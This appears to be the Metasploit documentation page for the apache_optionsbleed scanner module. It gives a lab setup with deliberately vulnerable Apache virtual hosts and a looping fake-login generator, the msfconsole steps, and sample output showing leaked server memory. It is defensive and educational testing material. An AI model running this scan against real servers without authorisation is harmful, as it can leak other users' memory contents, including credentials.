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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/auxiliary/scanner/http/apache_optionsbleed.md
Views: 11784

Description

This module scans for the Apache optionsbleed vulnerability where the Allow response header returned from an OPTIONS request may bleed memory if the server has a .htaccess file with an invalid Limit method defined.

Vulnerable Application Setup

This setup is slightly more complex than a default instance, but potentially gives more interesting results. It is more or less based on a blog post by securitysift.com.

This setup was performed on an Ubuntu 16.04 server with apache 2.4.18-2ubuntu3.1. Apache was patched in 2.4.18-2ubuntu3.5

  1. First thing we'll do is create 2 virtual host directories with content

    sudo mkdir -p /var/www/html/s1
sudo mkdir -p /var/www/html/s2

echo "<Limit method0 method1 method2 method3 method4 method5>
  Allow from all
</Limit>" | sudo tee /var/www/html/s1/.htaccess

echo "
<html>
<h1>Attacker</h1>
</html>
" | sudo tee /var/www/html/s1/index.html

echo "
<?php
        \$user = \$_POST[\"username\"];
        \$pwd = \$_POST[\"password\"];
        \$otherdata = \$_POST[\"otherdata\"];     
?>
        <form action=\"index.php\" method=\"POST\">
                Otherdata: <input type=\"text\" name=\"otherdata\"><br>
                Username: <input type=\"text\" name=\"username\"><br>
                Password: <input type=\"text\" name=\"password\"><br>
                <input type=\"submit\" value=\"Submit\">
        </form>
" | sudo tee  /var/www/html/s2/index.php

  2. Now we'll modify apache to have 2 virtual hosts, an attacker on port 80 and victim on port 81

    sudo echo "Listen 80
Listen 81

<VirtualHost *:81>
  #victim
  DocumentRoot /var/www/html/s2
  ErrorLog \${APACHE_LOG_DIR}/error_victim.log
  CustomLog \${APACHE_LOG_DIR}/access_victim.log combined
</VirtualHost>
<VirtualHost *:80>
  #attacker
  DocumentRoot /var/www/html/s1
  ErrorLog \${APACHE_LOG_DIR}/error_attacker.log
  CustomLog \${APACHE_LOG_DIR}/access_attacker.log combined
  <Directory /var/www/html/s1>
    AllowOverride All
  </Directory>
</VirtualHost>
" | sudo tee /etc/apache2/sites-enabled/000-default.conf

  3. Restart the service

sudo service apache2 restart

  1. We'll want to generate some traffic to the victim, so we'll use an infinite loop to send fake login requests

    while true; do curl -d "otherdata=otherdata&username=admin&password=passw0rd" -X POST -s http://[IP]:81/index.php > /dev/null; done

Now you have 2 virtual hosts, a vulnerable .htaccess file on port 80 in root, and memory being churned to simulate a live host.

Verification Steps

  1. Do: use auxiliary/scanner/http/apache_optionsbleed

  2. Do: set RHOSTS [IP]

  3. Do: set RPORT [PORT]

  4. Do: run

Scenarios

Using the setup mentioned previously

[*] Processing optionsbleed.rc for ERB directives.
resource (optionsbleed.rc)> use auxiliary/scanner/http/apache_optionsbleed
resource (optionsbleed.rc)> set rhosts 192.168.2.104
rhosts => 192.168.2.104
resource (optionsbleed.rc)> set threads 10
threads => 10
resource (optionsbleed.rc)> run
[+] Request 1: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
[+] Request 2: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,,HEAD,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,��,�~,HEAD,POST
[+] Request 3: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,8�)�~,HEAD,POST
[+] Request 4: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�4�~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,,HEAD,��)�~,HEAD,POST
[+] Request 5: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,���~,,HEAD,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 6: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,8�)�~,HEAD,��,�~,HEAD,POST
[+] Request 7: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 8: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,�4�~,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 9: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,���~,,HEAD,���~,8�)�~,HEAD,8�)�~,HEAD,,HEAD,8�)�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 10: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 11: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,�4�~,���~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,POST
[+] Request 13: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�T�~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 14: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,��~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,POST
[+] Request 15: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,8�)�~,HEAD,POST
[+] Request 16: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,�4�~,���~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 18: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,�T�~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
[+] Request 19: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,�T�~,�4�~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,,HEAD,,HEAD,POST
[+] Request 20: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�T�~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
[+] Request 21: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,�4�~,,HEAD,8�)�~,HEAD,��,�~,HEAD,POST
[+] Request 22: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,���~,�T�~,���~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,POST
[+] Request 23: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,,HEAD,�4�~,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,POST
[+] Request 24: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
[+] Request 25: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,�T�~,���~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,POST
[+] Request 26: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
[+] Request 27: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,�4�~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 28: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,allow,HEAD,POST
[+] Request 29: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,��~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,��)�~,HEAD,POST
[+] Request 30: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�4�~,8�)�~,HEAD,POST
[+] Request 31: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,���~,�T�~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,POST
[+] Request 32: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,,HEAD,�4�~,8�)�~,HEAD,8�)�~,HEAD,,HEAD,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,POST
[+] Request 33: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,���~,��~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 34: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,�4�~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 35: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,���~,���~,���~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,,HEAD,POST
[+] Request 36: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�4�~,���~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
[+] Request 38: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,���~,8�)�~,HEAD,8�)�~,HEAD,POST
[+] Request 39: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,���~,��~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,POST
[+] Request 40: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,POST
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Cleanup

If the server is NOT vulnerable, the apache error logs will contain an entry similar to this:

[Wed Sep 27 19:54:43.183978 2017] [core:alert] [pid 17659] [client 2.2.2.2:43546] /var/www/html/s1/.htaccess: Could not register method 'method0' for <Limit from .htaccess configuration, referer: http://1.1.1.1/